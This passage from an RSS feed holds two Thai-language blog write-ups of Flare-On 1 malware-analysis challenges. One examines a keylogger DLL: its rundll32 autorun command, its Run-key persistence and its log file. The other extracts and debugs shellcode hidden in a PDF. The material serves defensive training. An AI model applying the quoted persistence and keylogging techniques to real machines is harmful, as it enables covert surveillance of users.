src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84cdfda11b04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[เล่น Flare-on 1: Challenge 5–5get_it.exe  (Part 1) Basic Static, Dynamic Analysis]]></title>
            <link>https://huntsman-dfir.medium.com/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99-flare-on-1-challenge-5-5get-it-exe-%E0%B8%A7%E0%B8%B4%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B2%E0%B8%B0%E0%B8%AB%E0%B9%8C-malware-part-1-basic-27f4cc82b221?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/27f4cc82b221</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-debugging]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Tue, 28 Dec 2021 12:58:29 GMT</pubDate>
            <atom:updated>2021-12-28T13:10:00.080Z</atom:updated>
            <content:encoded><![CDATA[<h3>เล่น Flare-on 1: Challenge 5 — 5get_it.exe เพื่อเรียนรู้การวิเคราะห์ Malware (Part 1) Basic Static, Dynamic Analysis</h3><h3>Flare-on 1: Challenge 5— 5get_it.exe</h3><p>จากบทความที่แล้วเราได้ลองเล่น Challenge 4 เพื่อฝึกการวิเคราะห์ Malware ด้วยเทคนิคการทำ Malware Debugging ไปแล้ว</p><p><a href="https://huntsman-dfir.medium.com/%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99-flare-on-1-challenge-4-apt9001-pdf-%E0%B8%88%E0%B8%B2%E0%B8%81-fireeye-labs-%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%9D%E0%B8%B6%E0%B8%81%E0%B8%A7%E0%B8%B4%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B2%E0%B8%B0%E0%B8%AB%E0%B9%8C-malware-99de9c346628">ลองเล่น Flare-on 1: Challenge 4 — APT9001.pdf (จาก FireEye Labs) เพื่อฝึกวิเคราะห์ Malware</a></p><p>บทความนี้เรามาต่อกันที่ Challenge 5 เพื่อฝึกวิเคราะห์ Malware กันต่อ</p><p>เนื่องจากบทความค่อนข้างจะยาวดังนั้นจะแบ่งออกเป็น 2 Part ดังนี้</p><ul><li><strong>Part 1</strong> จะเป็นการวิเคราะห์ Malware แบบ Basic ทั้งแบบ Static และ Dynamic Analysis</li><li><strong>Part 2 </strong>จะเป็นการวิเคราะห์ Malware แบบ Advanced โดยการทำ Reverse Engineer ด้วย Ghidra และ Malware Debugging ด้วย x32dbg</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*nGUbzNBKl3pErew5.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IzRlFeKrCcK2w2B0y8CRA.png" /></figure><h3>Part 1 — Basic Static Analysis</h3><h3>File Type</h3><p>เริ่มวิเคราะห์ด้วยการหาประเภทของไฟล์ด้วยคำสั่ง file ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGSFUQMwKqwzT1x5oExyhg.png" /></figure><p>จะพบว่าไฟล์ที่เราได้มานั้นเป็น DLL (Dynamic Link Library) โดยไฟล์ประเภทนี้ใช้สำหรับแชร์ Function ให้โปรแกรมต่าง ๆ เรียกใช้งาน</p><p>โดย Function ที่โปรแกรมอื่น ๆ สามารถเรียกใช้งานได้จะอยู่ใน Export Function</p><p>ขั้นตอนถัดไปเรามาวิเคราะห์ส่วนอื่น ๆ เริ่มจากการดู strings ด้วย PEStudio [1]</p><h3>Strings</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CFKN0NxRr2n09O7XY6yaHA.png" /></figure><p>พบว่ามี Strings ที่น่าสนใจดังนี้</p><p><strong>ชุดที่ 1</strong></p><ul><li>c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll</li></ul><p>เป็นคำสั่งเรียก <strong>rundll32.exe</strong> เพื่อใช้งาน <strong>svchost.dll</strong></p><ul><li>c:\windows\system32\svchost.dll</li></ul><p>เป็น Fullpath ของไฟล์บางอย่าง</p><p>ถ้าเราวิเคราะห์ Strings ชุดนี้ มีความเป็นไปได้ว่า Malware ตัวนี้อาจมีการสร้างไฟล์<strong> svchost.dll </strong>ที่<strong> Path: c:\windows\system32\svchost.dll </strong>และเรียกใช้งานไฟล์ดังกล่าวด้วย<strong> rundll32 </strong>เนื่องจากไฟล์นั้นเป็น DLL</p><p>*สังเกตได้ว่าชื่อไฟล์จะคล้ายๆกับ <strong>svchost.exe </strong>ของ Microsoft ดังนั้นมีความเป็นไปได้สูงมากที่ <strong>svchost.dll </strong>จะเป็น Malware</p><p><strong>ชุดที่ 2 และชุดที่ 4</strong></p><ul><li>RegSetValueEx [2]</li><li>RegCreateKey [3]</li></ul><p>สองตัวนี้เป็นชื่อ Function ที่ใช้งานเกี่ยวกับการ Set Registry</p><ul><li>SOFTWARE\Microsoft\Windows\CurrentVersion\Run [4]</li></ul><p>เป็น <strong>Autorun registry</strong></p><p>Strings ที่พบทั้งสองชุดสามารถวิเคราะห์ได้ว่า Malware ตัวนี้อาจมีการ <strong>Set Registry Key ที่เป็น Autorun Registry เพื่อฝังตัว (Persistence) ลงบนเครื่อง</strong></p><p><strong>ชุดที่ 3 และชุดที่ 5</strong></p><ul><li>GetAsyncKeyState [5]</li></ul><p>GetAsyncKeyState เป็น Function ที่นิยมใช้กันใน Malware ที่เป็นในลักษณะของ KeyLogger</p><ul><li>[SHIFT]</li><li>[RETURN]</li><li>[BACKSPACE]</li><li>[TAB]</li><li>[CTRL]</li><li>[DELETE]</li><li>[CAPS LOCK]</li></ul><p>เป็นชื่อ Key ต่างๆที่อยู่บน Keyboard ของเรา</p><p><strong>Strings ที่พบทั้งสองชุดสามารถวิเคราะห์ได้ว่า Malware ตัวนี้น่าจะมีความสามารถเกี่ยวกับ Key Logger</strong></p><p><strong>ชุดที่ 6</strong></p><ul><li>svchost.log</li></ul><p>เป็นชื่อของไฟล์บางอย่าง ซึ่งถูกสร้างโดย Malware ซึ่งมีความเป็นไปได้ว่าเป็น<strong>ไฟล์บันทึกของ Key Logger </strong>เนื่องจากเราพบว่า Malware ตัวนี้มีความสามารถเป็น Key Logger ตาม Strings ชุดที่ 3 และชุดที่ 5</p><p>ถัดไปเรามาดู Function ที่ Malware ตัวนี้เรียกใช้งานบ้าง</p><h3>Import Function</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KaJZueFkL2mtIM4S7TJcqw.png" /></figure><p>การวิเคราะห์จาก Import Function นั้นสำคัญมาก เพราะมันสามารถบ่งบอกได้ถึงความสามารถของ Malware</p><p>จะพบว่า Malware ตัวนี้มีการเรียกใช้ Function ต่าง ๆ เยอะมาก ซึ่งโปรแกรม PEStudio จะช่วยแยกกลุ่มของ Function ต่าง ๆ ให้ว่าเกี่ยวกับอะไรบ้างทำให้ง่ายต่อการวิเคราะห์ โดยจะสรุป Function ที่น่าสนใจดังนี้</p><p><strong>กลุ่ม Registry</strong></p><ul><li>RegSetValueExA</li><li>RegCreateKeyA</li><li>RegOpenKeyValueExA</li><li>RegOpenKeyExA</li><li>RegCloseKey</li></ul><p>Function กลุ่มนี้แสดงให้เห็นว่า Malware ตัวนี้มีความสามารถในการจัดการเกี่ยวกับ Registry</p><p><strong>กลุ่ม Execution</strong></p><ul><li>TerminateProcessGetCurrentThreadId</li><li>TerminateProcess</li><li>GetCurrentProcessId</li><li>Sleep</li><li>GetCommandLineA</li><li>GetCurrentProcess..</li></ul><p>Function กลุ่มนี้แสดงให้เห็นว่า Malware ตัวนี้มีความสามารถเกี่ยวกับด้านการจัดการ Process ไม่ว่าจะเป็นการ Terminate หรือหาค่า Process ID การ Sleep เพื่อ Delay การทำงาน และอื่น ๆ</p><p><strong>กลุ่ม Keyboard-and-mouse</strong></p><ul><li>GetAsyncKeyState</li></ul><p>GetAsyncKeyState เป็น Function ที่นิยมใช้กันใน Malware ที่เป็นในลักษณะของ KeyLogger</p><p><strong>กลุ่ม File</strong></p><ul><li>CopyFileA</li><li>CreateFileW</li><li>GetFileType</li><li>WriteFile</li><li>CreateFileA</li><li>ReadFile..</li></ul><p>Function กลุ่มนี้แสดงให้เห็นว่า Malware ตัวนี้มีความสามารถเกี่ยวกับด้านการจัดการ File ไม่ว่าจะเป็นสร้างไฟล์, อ่านไฟล์, เขียนไฟล์, คัดลอกไฟล์และอื่น ๆ</p><p>นอกจากนี้ยังมี Function อื่น ๆ อีกมากมายซึ่งสามารถไปหาข้อมูลได้จาก Microsoft [6]</p><p>เนื่องจาก Malware ตัวนี้เป็นไฟล์ประเภท DLL ดังนั้นเรามาดู Export Function ที่มันมีสำหรับให้โปรแกรมอื่นๆ เรียกใช้งานกัน</p><h3>Export Function</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXmz5WLiGb6T71ay5JPKvQ.png" /></figure><p>ผลลัพธ์คือ.. ว่างเปล่า Malware นี้ไม่มี Export Function ใด ๆ ดังนั้นแปลว่า DLL ตัวนี้ไม่มี Function ใดให้โปรแกรมอื่น ๆ มาเรียกใช้</p><p><strong>แล้ว Malware ตัวนี้จะเรียกใช้งานได้อย่างไรล่ะ ?</strong></p><p>โดยปกติแล้วไฟล์ DLL จะมี Function ที่ชื่อว่า DllMain ซึ่งจะถูกเรียกทำงานจาก Entry-point เสมอหาก DLL ถูกเรียกไปใช้งาน</p><p>ดังนั้นหากเราไม่พบ Export Function ใน Malware ที่เป็นไฟล์ประเภท DLL มีความเป็นไปได้ว่า Malware จะทำงานผ่าน DllMain Function</p><p>ถัดไปเรามาวิเคราะห์แบบ Dynamic Analysis ด้วยการ Execute ตัว Malware ให้ทำงานบนเครื่อง แล้วดูพฤติกรรมการทำงานของมันกัน</p><h3>Part 1 — Dynamic Analysis</h3><p>เราจะใช้เครื่อง Windows x86 ทำการเปิด Tools ที่ใช้ในการ Monitor ดังนี้</p><ul><li><strong>Procmon </strong>ดูการทำงานของ Process</li><li><strong>FakeNet-NG </strong>ตั้ง DNS และ Services สำหรับ Interact กับ Malware ด้าน Network</li><li><strong>Process Hacker </strong>ดูการทำงานของ Process</li></ul><p>จากนั้น Run Malware ด้วยคำสั่งตามภาพด้านล่าง</p><p>*ต้องใช้ Rundll32.exe เนื่องจาก Malware นั้นเป็นไฟล์ประเภท DLL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*liNyAgQNeqetJSk7xVCxtQ.png" /></figure><p>จากนั้นให้ Save ข้อมูล Process บน Procmon เป็น CSV</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xiun9E8dhc146xOUY_pDA.png" /></figure><p>และใช้โปรแกรม Procdot เปิดขึ้นมาเพื่อให้เห็นภาพและง่ายต่อการวิเคราะห์ซึ่งได้ผลตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhqfZni3iBkltE_1nK4AeQ.png" /></figure><p>ซึ่งหากวิเคราะห์ตาม Timeline ตัว Malware จะมีการทำงานดังนี้</p><ol><li>สร้างไฟล์<strong> svchost.dll </strong>ที่<strong> </strong>Path<strong> C:\Windows\System32\svchost.dll</strong></li></ol><p>ซึ่งตรงกับ Strings ที่เจอ และ Import Function ที่เราเจอว่า Malware มีความสามารถในการสร้างไฟล์ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1yR0jBwUeXqhQdiSXuwltw.png" /></figure><p>ดังนั้นเราจะเข้าไปเช็คไฟล์ดังกล่าวกันว่าเป็นไฟล์ใด</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*YboO9SDaAf7ubjmJVByE2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwtVmZzeMSc5_JSqfjVnjQ.png" /></figure><p>หลังจากที่วิเคราะห์สรุปได้ว่าไฟล์ svchost.dll กับ 5get_it นั้นเป็นไฟล์เดียวกัน เนื่องจากมีค่า Hash ของไฟล์เหมือนกันเป๊ะๆ</p><p>ดังนั้นเราสรุปได้ว่าหลังจากที่เรียก 5get_it.dll แล้ว มันได้ทำการ Copy ตัวมันเองไปไว้ที่ C:\Windows\System32\svchost.dll</p><p>2. สร้าง<strong> Autorun Registry key </strong>ชื่อ<strong> svchost </strong>ที่ <strong>“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”</strong> ตั้งให้เรียกคำสั่ง <strong>c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll</strong> เพื่อฝังตัว (Persistence) บนเครื่อง</p><p>ซึ่งตรงกับ Strings ที่เจอ และ Import Function ที่เราเจอว่า Malware มีความสามารถในการ Set Registry ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*If752-cePkVRNfe1wqDDHQ.png" /></figure><p>ลองเข้าไปดูที่ Registry บนเครื่อง ก็จะพบว่ามีการ Set Registry Key ดังกล่าวจริง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*qXAIv-4az7QnsFO6___S-w.png" /></figure><p><strong>3. </strong>จากนั้นมีการสร้างไฟล์และเขียนไฟล์ <strong>svchost.log </strong>ที่ Path<strong> C:\Windows\System32\svchost.log </strong>เป็นระยะๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvcMm0thBV8nVXkWhQ-I9A.png" /></figure><p>จากนั้นเราจะเข้าไปเช็คกันว่าเป็นไฟล์อะไร</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1lq1CMgh-vGohgVloCcBQ.png" /></figure><p>หลังจากเปิดมาแล้ว จะพบว่ามันคือไฟล์บันทึกของ KeyLogger นั่นเอง</p><h3>สรุป Part 1</h3><p>จากการวิเคราะห์ทั้งหมดเราสามารถสรุปได้ว่า <strong>5get_it </strong>เป็น Malware ในลักษณะของ <strong>KeyLogger </strong>โดยหลังจากที่มันทำงานจะมีการ Copy ตัวเองไปไว้ที่<strong> C:\Windows\System32\svchost.dll</strong> จากนั้นฝังตัวโดยตั้ง<strong> Autorun registry </strong>ที่ <strong>“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost”</strong> และบันทึกผลของ KeyLogger ไว้ที่<strong> C:\Windows\System32\svchost.log </strong>เป็นระยะ ๆ</p><h3>ยังไม่จบ T.T</h3><p>จากที่เราได้วิเคราะห์ Malware มาทั้งหมดเรายังไม่พบ Key ของ 5get_it ที่โจทย์ถามถึงเลย.. น้ำตาจะไหลล</p><p>ซึ่งเราจะมาหา Key กันต่อใน Part ที่ 2 ถ้าพร้อมแล้วตาม Link ด้านล่างไปได้เลย</p><p><a href="https://huntsman-dfir.medium.com/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99-flare-on-1-challenge-5-5get-it-exe-part-2-reverse-engineer-and-malware-debugging-84cdfda11b04">เล่น Flare-on 1: Challenge 5–5get_it.exe (Part 2) Reverse Engineer and Malware Debugging</a></p><h3>Ref.</h3><p>[1] <a href="https://www.winitor.com/">https://www.winitor.com</a></p><p>[2] <a href="https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa">https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa</a></p><p>[3] <a href="https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya">https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya</a></p><p>[4] <a href="https://attack.mitre.org/techniques/T1547/001/">https://attack.mitre.org/techniques/T1547/001/</a></p><p>[5] <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate">https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate</a></p><p>[6] <a href="https://docs.microsoft.com/en-us/windows/win32/api/">https://docs.microsoft.com/en-us/windows/win32/api</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27f4cc82b221" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ลองเล่น Flare-on 1: Challenge 4 — APT9001.pdf (จาก FireEye Labs) เพื่อฝึกวิเคราะห์ Malware]]></title>
            <link>https://huntsman-dfir.medium.com/%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99-flare-on-1-challenge-4-apt9001-pdf-%E0%B8%88%E0%B8%B2%E0%B8%81-fireeye-labs-%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%9D%E0%B8%B6%E0%B8%81%E0%B8%A7%E0%B8%B4%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B2%E0%B8%B0%E0%B8%AB%E0%B9%8C-malware-99de9c346628?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/99de9c346628</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cyber-incident-response]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Tue, 21 Dec 2021 15:29:52 GMT</pubDate>
            <atom:updated>2021-12-21T16:17:29.815Z</atom:updated>
            <content:encoded><![CDATA[<h3>ลองเล่น Flare-on 1: Challenge 4 — APT9001.pdf (จาก FireEye Labs) เพื่อฝึกวิเคราะห์ Malware ด้วยเทคนิค Debugging</h3><h3>Flare-on 1: Challenge 4 — APT9001.pdf</h3><p><a href="https://cyberdefenders.org/labs/24">CyberDefenders: Flare-on 1 blueteam challenge.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Tw9o67mgKcTbVnkDu2Q49g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXow8naqswTz8RNxTShLUg.png" /></figure><p>คำถามของ Challenge นี้คือให้<strong>หา key ที่อยู่ในไฟล์ APT9001.pdf </strong>ให้เจอ</p><p>หลังจากที่ Download ไฟล์ APT9001.pdf มาแล้วให้เริ่มจากหาประเภทของไฟล์ก่อนโดยใช้คำสั่ง file ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*YFv8ZOcjwcXunXaiNOiN-w.png" /></figure><p>โดยพบว่าไฟล์ที่ได้รับมานั้นเป็น pdf ดังนั้นเราจะใช้ tools ในการวิเคราะห์ pdf ดังนี้</p><ul><li><strong>pdfid.py [1] </strong>ใช้ดู Tags และ Object ของไฟล์ pdf</li><li><strong>peepdf.py [2] </strong>ใช้หา Tags และ Object ที่น่าสงสัย</li><li><strong>pdf-parser.py [3] </strong>ใช้สำหรับ dump object ที่อยู่ในไฟล์ pdf</li></ul><p>โดยเริ่มจากใช้ <strong>pdfid</strong> ซึ่งเป็น tools ที่ใช้สำหรับดู Tags และ Object ที่อยู่ในไฟล์ pdf ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*LRYykOMlurKFdjJp4jUXCg.png" /></figure><p>พบว่ามี Tags ที่น่าสนใจคือ</p><ul><li><strong>/OpenAction</strong> ที่เอาไว้สำหรับ Run Script แบบ Auto</li><li><strong>/JS หรือ /Javascript</strong> เป็น Javascript Code</li></ul><p>จากนั้นลองใช้ peepdf ก็จะพบว่า /JS /Javascript อยู่ใน <strong>Object ID: 6</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*_HcmxQ5bNm_LHqocAcvmGw.png" /></figure><p>ลองใช้<strong> pdf-parser.py</strong> เพื่อ <strong>Dump Object ID: 6</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*dHJKL83DLJ2OQIwC0OM_4A.png" /></figure><p>จากนั้นลองเปิดไฟล์ที่ Dump ออกมาดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBJVCKfHh4Ak9tRzUjsn6w.png" /></figure><p>จะพบว่าเป็น Javascript ที่มีการทำ Obfuscate ไว้จนทำให้วิเคราะห์ยาก</p><p>แต่มีตัวแปรตัวนึงชื่อ <strong>IxTUQnOvHg</strong> ซึ่งดูแล้วน่าสนใจเนื่องจากมีลักษณะคล้ายกับ Shellcode ที่อยู่ในรูปแบบของ Unicode</p><p>ดังนั้นเราจะลองนำ Shellcode ที่อยู่ในตัวแปร <strong>IxTUQnOvHg </strong>มาวิเคราะห์ดูโดยเราสามารถใช้ Cyberchef หรือใช้ tool ชื่อ <strong>base64dump.py [4]</strong> เพื่อแปลงจาก Unicode มาเป็น Shellcode ได้เช่นเดียวกัน</p><p>โดยหากใช้ <strong>base64dump.py</strong> ให้ทำการใช้ <strong>option “-e pu” เพื่อหาเฉพาะ Unicode แบบ %u</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*lWvC7mcRSor-Ajc5Ix-_5A.png" /></figure><p>จากนั้นจะโชว์ Unicode ที่อยู่ในไฟล์ทั้งหมด แต่เราจะเลือก Dump เฉพาะส่วนที่เราต้องการคือ ID: 1 ที่เป็น Unicode ที่เก็บค่าไว้ในตัวแปร <strong>IxTUQnOvHg</strong></p><p>ดังนั้นให้ทำการ <strong>Dump ด้วย option “-s 1”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*RGTbMmsnYjehhAy2ergj4A.png" /></figure><p>ก็จะได้ไฟล์ Shellcode มา จากนั้นลองวิเคราะห์ Shellcode ด้วยการใช้ scdbg ที่เป็น Emulator สำหรับวิเคราะห์ Shellcode ดู แต่พบว่าไม่สามารถวิเคราะห์ได้ ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*VsliYFu__9I0nZ7bTtnLMg.png" /></figure><p>จึงลองเปลี่ยนวิธี โดยจะแปลงจาก Shellcode ให้เป็น Executable (exe) ก่อนแล้วค่อยนำมาวิเคราะห์</p><p>โดยเราจะ<strong>แปลง Shellcode เป็น Executable </strong>ด้วย <strong>shellcode2exe.py [5] </strong>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*7TdeVEpROAW7R7-V4evo5A.png" /></figure><p>หลังจากนั้นเราจะได้ไฟล์ Executable ให้นำไปวิเคราะห์</p><p>โดยเริ่มจากวิเคราะห์แบบ <strong>Statics Analysis</strong> เบื้องต้นก่อนด้วยการใช้ <strong>PEStudio [6] </strong>และเริ่มจากการวิเคราะห์ <strong>Strings</strong> ที่อยู่ในไฟล์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tod7embdHkNHxUBciO2qxg.png" /></figure><p>จากการเปิดดู Strings ไม่พบ​ Keyword อะไรน่าสนใจสักเท่าไร</p><p>ลองดูที่ <strong>Libraries,Imports</strong> ต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3u8ljUdfCKPvxpF9gZlewA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NovsFCeNOMs8Ghb49bi3VQ.png" /></figure><p>จะพบว่าไฟล์ Executable ดังกล่าวมีความผิดปกติดังนี้</p><ul><li><strong>มีการเรียกใช้ Libraries และ Function ที่น้อยผิดปกติ</strong> โดยอาจเกิดจากการทำ Obfuscate หรือ Pack มาก่อน</li><li><strong>มีการใช้ LoadLibraryA และ GetProcAddress Function </strong>ซึ่งใช้สำหรับ Load Function จาก Library ต่างๆมาใช้งานในโปรแกรมได้ ซึ่งการเรียกใช้แบบนี้เป็นการเรียกใช้ Library แบบ Runtime คือจะใช้งานเมื่อใดค่อยเรียกออกมา ซึ่งนิยมในการนำมาทำ Obfuscate เป็นอย่างมาก เนื่องจากเมื่อทำการวิเคราะห์แบบ Static Analysis แล้วจะไม่เห็น Function ทั้งหมดที่ใช้งานในโปรแกรมทำให้วิเคราะห์ได้ยาก</li></ul><p>หลังจากนั้นเรามาลองเปลี่ยนเป็นการวิเคราะห์แบบ Dynamic Analysis โดยจะต้องทำบนเครื่องที่อยู่ใน Environment แบบ Isolated เท่านั้น! เพราะเราต้อง Run ไฟล์ Executable ด้วยการเปิด Tools ดังนี้</p><ul><li><strong>Procmon [7] </strong>ดูการทำงานของ Process</li><li><strong>FakeNet-NG [8] </strong>ตั้ง DNS และ Services สำหรับ Interact กับ Malware</li><li><strong>Process Hacker [9] </strong>ดูการทำงานของ Process</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cY8cetKt2Gty3ZnaBYl3_A.png" /></figure><p>หลังจากเปิด Tools ต่างๆแล้วให้ Run ไฟล์ Executable นั้น</p><p>หลังจาก Run แล้วไม่พบพฤติกรรมอะไรที่น่าสนใจเลยนอกจาก​ <strong>MessageBox</strong> ที่ขึ้นมาตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*jV3PKIvzWAda75ZpVJ6sNw.png" /></figure><p>ดูแล้วเหมือนเราจะเข้าใกล้คำตอบขึ้นทุกที เดาได้เลยว่าคำตอบมันน่าจะเป็นข้อความที่อยู่ MessageBox นี้แหละ แต่ข้อความมันน่าจะถูก Obfuscate มาก่อนแสดงใน MessageBox</p><p>ดังนั้นขั้นตอนถัดไปเราจะต้องหาข้อความก่อนที่จะถูก Ofcuscate ด้วยการทำ <strong>Debugging</strong> โดยใช้ <strong>Immunity Debugger</strong> หรือ Debugger tools ตัวอื่นๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-bqEMQzB27sLMqE8g4ESWA.png" /></figure><p>หลังจากที่เรา Load Executable เข้าไปใน Immunity Debugger แล้วจะได้หน้าตาตามรูปด้านบน</p><p>ซึ่งการ Debug โปรแกรมโดยปกติแล้วจะต้องตั้ง Breakpoint ไว้ที่จุดที่เราสนใจจะดูก่อน ซึ่งจุดที่เราจะดูในทีนี้คือการเรียก <strong>MessageBox</strong> ซึ่ง Function นี้ที่มีอยู่บน <strong>Windows API </strong>ชื่อว่า <strong>MessageBoxA function (User32.dll) [10]</strong></p><p>ดังนั้นเราควรจะต้อง Set Breakpoint ที่แถวๆ <strong>MessageBoxA</strong></p><p>แต่เดียวก่อนน !! จังหวะที่เราดู Imports, Libraries มันไม่เห็นมี <strong>User32.dll</strong> หรือ <strong>MessageBoxA</strong> เลยล่ะ ?</p><p><strong>คำตอบที่เป็นไปได้มากที่สุดก็คือมันเรียกใช้งานแบบ Runtime ด้วยการใช้ LoadLibraryA และ GetProcAddress Function</strong> ไม่ได้เรียกโดยตรง<strong> ทำให้เราไม่สามารถ Set Breakpoint ที่ MessageBoxA ได้</strong></p><p>ดังนั้นเราไป <strong>Set Breakpoint กันที่ LoadLibraryA </strong>กันก่อนด้วยคำสั่ง</p><p>bp LoadLibraryA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*dQgYs5JotiwpG5rQlTpD-g.png" /></figure><p>จากนั้นเลือกที่ Windows &gt; 5 Breakpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*8vF1-WM8xNVHf-DCUiWLOA.png" /></figure><p>จะเห็นได้ว่า Breakpoint เราได้ถูก Set ไว้แล้วที่<strong>ตำแหน่ง 74E7F620</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*thuJqwIHYPMUsaQ9QMRu3w.png" /></figure><p>จากนั้นกลับไปที่หน้าหลักโดยเลือกที่</p><p>Windows &gt; 8 CPU</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*SjR42eYfLJdm0CpZjFsrOg.png" /></figure><p>จากนั้นกดที่ปุ่ม Run Program (F9) เพื่อให้โปรแกรมทำงานไปจนถึง Breakpoint ที่เราตั้งไว้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5AZzhsp2SkIG2tW1xtKjzA.png" /></figure><p>จากนั้น<strong>โปรแกรมจะทำงานจนมาถึงจุดที่เราตั้ง Breakpoint ไว้ (Address: 74E7F620) </strong>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CY053-O1Sdmt05fIdSGkJw.png" /></figure><p>จากนั้นให้คลิกที่ Step over (F8) ไปเรื่อยๆ จนกว่าถึงการเรียก Function <strong>LoadLibraryExA (Address: 74E7F64D)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SjxMkeFXVvNxZWFlpK78iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFprqt617sTSesM4uUDP9A.png" /></figure><p>ซึ่งโดยปกติการเรียกใช้งาน Function จะต้องมีการส่งค่า Arguments ต่าง ๆ เพื่อนำเข้าไปใช้ใน Function</p><p>โดยการส่งค่าเข้าไปจะเป็นการ Push Arguments เหล่านั้นเข้า Stack</p><p>โดย <strong>LoadLibraryExA Function [11] </strong>จะรับค่า Argument 3 ตัวคือ FileName, hFile, Flags โดยในโปรแกรม Immunity เราสามารถดูค่าใน Stack ได้ในมุมขวาล่าง</p><ul><li><strong>Filename = “user32”</strong></li><li><strong>hFile = NULL</strong></li><li><strong>Flags = 